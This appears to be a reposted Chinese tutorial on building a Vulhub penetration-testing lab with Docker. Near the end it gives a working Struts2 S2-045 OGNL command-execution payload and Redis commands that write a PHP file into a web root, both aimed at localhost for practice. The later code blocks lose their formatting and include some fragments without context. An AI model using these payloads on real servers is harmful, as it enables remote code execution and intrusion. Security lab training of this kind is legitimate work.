# 怎樣快速搭建Vulhub滲透靶場環境
## 前言
在網絡安全學習和滲透測試實踐中,一個安全可控的靶場環境至關重要。Vulhub作為開源的漏洞環境集合項目,提供了大量可直接復現的漏洞場景,是安全研究人員和愛好者的理想選擇。本文將詳細介紹如何快速搭建Vulhub滲透靶場環境,涵蓋從基礎準備到實際部署的全過程。
## 一、Vulhub簡介
### 1.1 項目背景
Vulhub是一個基于Docker和Docker-compose的漏洞環境集合,由國內安全團隊Phith0n維護。該項目特點包括:
- 收錄了數百個真實漏洞環境(CVE/公開漏洞)
- 一鍵搭建、開箱即用
- 支持多種常見服務漏洞復現
- 持續更新維護
### 1.2 典型應用場景
- 滲透測試技能練習
- 漏洞驗證與研究
- 安全工具開發測試
- CTF競賽訓練
## 二、環境準備
### 2.1 硬件要求
| 配置項 | 最低要求 | 推薦配置 |
|--------|----------|----------|
| CPU | 雙核 | 四核 |
| 內存 | 2GB | 8GB+ |
| 存儲 | 20GB | 50GB+ |
### 2.2 軟件依賴
必須安裝的組件:
1. **Docker Engine**(版本20.10.0+)
2. **Docker-compose**(版本1.28.0+)
3. **Git**(版本控制工具)
### 2.3 系統兼容性
- Linux(Ubuntu/Debian/CentOS等)
- macOS(Intel/Apple Silicon)
- Windows(需WSL2支持)
## 三、詳細搭建步驟
### 3.1 基礎環境安裝(以Ubuntu為例)
```bash
# 更新軟件包索引
sudo apt-get update
# 安裝必要工具
sudo apt-get install -y git curl python3-pip
# 安裝Docker
curl -fsSL https://get.docker.com | sudo sh
# 添加當前用戶到docker組
sudo usermod -aG docker $USER
newgrp docker
# 安裝docker-compose
sudo pip3 install docker-compose
# 驗證安裝
docker --version
docker-compose --version
# 克隆倉庫(國內用戶推薦使用鏡像源)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 或者使用國內鏡像
git clone https://gitee.com/mirrors/vulhub.git
# 進入目標漏洞目錄
cd tomcat/CVE-2017-12615
# 構建并啟動環境
docker-compose up -d
# 查看運行狀態
docker-compose ps
根據輸出提示訪問(通常為http://localhost:8080),不同漏洞環境端口可能不同。
若出現端口沖突錯誤,可通過修改docker-compose.yml文件解決:
services:
tomcat:
ports:
- "8080:8080" # 修改前段端口號為可用端口
配置國內鏡像加速器:
/etc/docker/daemon.json:{
"registry-mirrors": [
"https://hub-mirror.c.163.com",
"https://mirror.baidubce.com"
]
}
sudo systemctl daemon-reload
sudo systemctl restart docker
查看容器日志:
docker-compose logs
使用Makefile簡化操作:
start:
docker-compose up -d
stop:
docker-compose down
clean:
docker system prune -f
修改現有環境步驟: 1. 復制目標環境目錄 2. 編輯Dockerfile添加所需工具 3. 修改docker-compose.yml配置 4. 重新構建鏡像:
docker-compose build --no-cache
配置數據卷避免容器銷毀后數據丟失:
volumes:
- ./data:/var/lib/mysql
sudo ufw allow from 192.168.1.0/24 to any port 8080
git pull origin master
watch -n 1 "docker stats --no-stream"
cd struts2/s2-045
docker-compose up -d
利用POC驗證:
curl -X POST http://localhost:8080/ -H "Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
cd redis/unauthorized
docker-compose up -d
利用方式:
redis-cli -h 127.0.0.1
> config set dir /var/www/html
> config set dbfilename shell.php
> set test "<?php phpinfo();?>"
> save
deploy:
resources:
limits:
cpus: '1'
memory: 512M
FROM alpine:latest
docker image prune -a
通過本文的詳細指導,您應該已經成功搭建了自己的Vulhub滲透測試環境。建議從簡單漏洞開始逐步深入,結合實際場景進行學習。切記所有測試都應在授權環境下進行,遵守網絡安全法律法規。
最后更新:2023年10月
本文檔遵循CC BY-NC-SA 4.0協議 “`
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。